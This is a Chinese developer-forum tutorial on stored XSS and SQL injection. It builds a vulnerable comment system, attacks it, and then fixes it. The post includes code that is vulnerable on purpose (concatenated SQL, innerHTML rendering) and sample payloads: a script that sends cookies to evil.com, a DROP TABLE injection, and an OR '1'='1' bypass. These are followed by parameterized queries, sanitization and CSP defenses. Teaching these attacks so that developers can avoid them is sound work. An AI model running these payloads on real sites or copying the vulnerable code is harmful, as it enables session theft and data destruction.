找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1709

积分

1

好友

242

主题
发表于 3 天前 | 查看: 7| 回复: 0

说实话,很多开发者都认为XSS和SQL注入是些“古老”的安全问题,在现代前端框架和ORM工具的层层防护下已不足为惧。

直到在一次代码评审中,我看到了下面这段看似无害的代码:

// 商品评论渲染逻辑
const CommentList = ({ comments }) => {
  return comments.map(comment => (
    <div key={comment.id}>
      <strong>{comment.author}</strong>
      <div dangerouslySetInnerHTML={{ __html: comment.content }} />
    </div>
  ));
};

你是否能立刻指出其中的风险?如果不能,那么通过动手实践来理解这些漏洞的成因与危害,将远比阅读理论文档有效。本文将通过一个完整的全栈Demo,带你亲历从漏洞引入、攻击演示到彻底修复的全过程。

一、Demo设计与攻击链路全景

为了最直观地呈现风险,我们构建一个最小化的评论系统,它覆盖了两种最常见的高危场景:

  • 存储型XSS:用户提交的评论被存入数据库,并在前端页面渲染给其他用户。
  • SQL注入:用户输入被直接拼接到后端SQL语句中。

完整的攻击链路如下图所示,清晰地展示了漏洞如何被串联利用:

┌─────────────────────────────────────────────────────────────┐
│  第1步: 攻击者提交恶意内容                                   │
│  POST /comments                                             │
│  { author: "黑客", content: "<script>恶意代码</script>" }   │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第2步: 后端未做校验,直接拼接SQL                            │
│  SQL: INSERT INTO comments VALUES ('黑客', '<script>...')   │
│  ⚠️ 漏洞点: 没有参数化查询                                    │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第3步: 恶意数据原封不动存入数据库                            │
│  comments表: id=1, content="<script>恶意代码</script>"       │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第4步: 正常用户访问页面                                      │
│  GET /comments → 返回包含恶意内容的数据                        │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第5步: 前端用innerHTML渲染                                  │
│  div.innerHTML = '<script>恶意代码</script>'                 │
│  ⚠️ 漏洞点: 用户内容被当作HTML执行                            │
└────────────────────┬────────────────────────────────────────┘
                     ↓
┌─────────────────────────────────────────────────────────────┐
│  第6步: 恶意脚本在受害者浏览器中执行                          │
│  - 窃取cookie/localStorage                                 │
│  - 发起钓鱼攻击                                              │
│  - 传播蠕虫                                                  │
└─────────────────────────────────────────────────────────────┘

二、漏洞代码实战:危险的SQL拼接

在后端,最危险的写法莫过于将用户输入直接拼接到SQL语句中。

// ⚠️ 危险代码示例:字符串拼接SQL
app.post('/comments', async (req, res) => {
  const { author, content } = req.body;
  // 直接拼接,极不安全!
  const sql = `INSERT INTO comments (author, content) 
               VALUES ('${author}', '${content}')
               RETURNING id`;
  const result = await client.query(sql);
  res.json({ id: result.rows[0].id });
});

为什么这段代码是灾难?
SQL语句是发给数据库的命令。字符串拼接混淆了“命令”和“数据”,导致数据库无法区分。例如:

  • 用户输入'); DROP TABLE comments; --
  • 拼接后的SQL
    INSERT INTO comments (author, content) VALUES ('hacker', ''); DROP TABLE comments; -- ')

    数据库会依次执行插入空记录和删除整张表的操作,--则会注释掉后续语句。

三、漏洞代码实战:前端的XSS陷阱

前端的问题同样致命。使用innerHTML(或在React中使用dangerouslySetInnerHTML)渲染未经验证的用户内容,等同于邀请浏览器执行这些内容中的任何脚本。

<!-- ⚠️ 前端危险写法 -->
<script>
async function loadComments() {
  const rows = await fetch('/comments').then(r => r.json());
  const container = document.getElementById('comments');
  rows.forEach(comment => {
    const div = document.createElement('div');
    // 用户内容被当作HTML解析,如果包含<script>标签则会被执行!
    div.innerHTML = `<strong>${comment.author}</strong>: ${comment.content}`;
    container.appendChild(div);
  });
}
</script>

四、真实攻击演示

1. XSS攻击:窃取用户Cookie

攻击者提交评论:

内容:<script>fetch('http://evil.com/steal?cookie=' + document.cookie)</script>

当其他用户访问评论页时,其登录Cookie会被自动发送到攻击者的服务器,导致会话被劫持。

2. SQL注入攻击:绕过查询与信息泄露

攻击者访问管理搜索接口:

请求:GET /admin/search?q=' OR '1'='1

拼接后的SQL WHERE content ILIKE '%' OR '1'='1%' 使得条件永远为真,导致返回所有数据。更危险的攻击可以利用UNION查询窃取其他表的数据。

五、正确的修复方案

1. 后端根本解决方案:参数化查询

将SQL语句结构与数据分离,是杜绝SQL注入的唯一有效方法。

// ✅ 安全写法:使用参数化查询
const sql = 'INSERT INTO comments (author, content) VALUES ($1, $2) RETURNING id';
const result = await client.query(sql, [author, content]); // 参数作为数组传入

即使此时用户输入是 '); DROP TABLE comments; --,它也会被数据库当作一个普通的字符串值存入content字段,而不会改变SQL语句的结构。

2. 前端根本解决方案:避免执行用户输入
  • 首选方案:使用textContent而非innerHTML
    // ✅ 安全写法
    const authorEl = document.createElement('strong');
    authorEl.textContent = comment.author; // 纯文本,安全
    const contentEl = document.createElement('div');
    contentEl.textContent = comment.content; // 纯文本,安全
  • 富文本场景:必须使用专业的HTML清洗库(如DOMPurify)。
    import DOMPurify from 'dompurify';
    const cleanContent = DOMPurify.sanitize(comment.content, {
      ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
      ALLOWED_ATTR: ['href']
    });
    div.innerHTML = cleanContent; // 经过清洗,危险标签和属性已被移除

六、构建深度防御体系

单一防护层可能被绕过,应建立从外到内的多层防御:

  1. WAF/网络层:部署防火墙,过滤明显攻击特征。
  2. 输入验证层:使用Zod、Joi等库对数据类型、长度、格式进行严格校验。
  3. 数据库层:坚持使用参数化查询或安全的ORM方法。
  4. 输出编码层:前端使用textContent或清洗后的innerHTML
  5. 浏览器安全策略:设置严格的Content-Security-Policy (CSP) HTTP头,限制脚本来源。
  6. Cookie安全:设置HttpOnlySecureSameSite属性。
  7. 监控与响应:监控SQL错误日志、CSP违规报告,并设置告警。

七、实战检查清单

请立即检查你的项目:

  • 后端:所有数据库查询是否都已参数化?是否有输入验证?
  • 前端:是否彻底清除了不安全的innerHTMLeval?是否设置了CSP?
  • 运维:生产环境是否配置了安全响应头?是否启用了WAF?
  • 流程:CI/CD中是否集成了静态代码安全扫描(如Semgrep)?

结语

XSS和SQL注入的本质,都是将用户提供的数据错误地当作了代码来执行。防御的核心在于严格区分数据与代码的边界。通过搭建Demo进行亲手实践,你能建立起对这类漏洞的“肌肉记忆”,从而在未来的开发中本能地规避风险。安全不是一项可选功能,而是每一行代码都应具备的属性。




上一篇:Kafka 2.8弃用Zookeeper原理解析:Kraft模式如何简化架构与提升性能
下一篇:AI时代架构设计思维演进:从确定性系统到概率性协同
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-24 19:22 , Processed in 0.339196 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表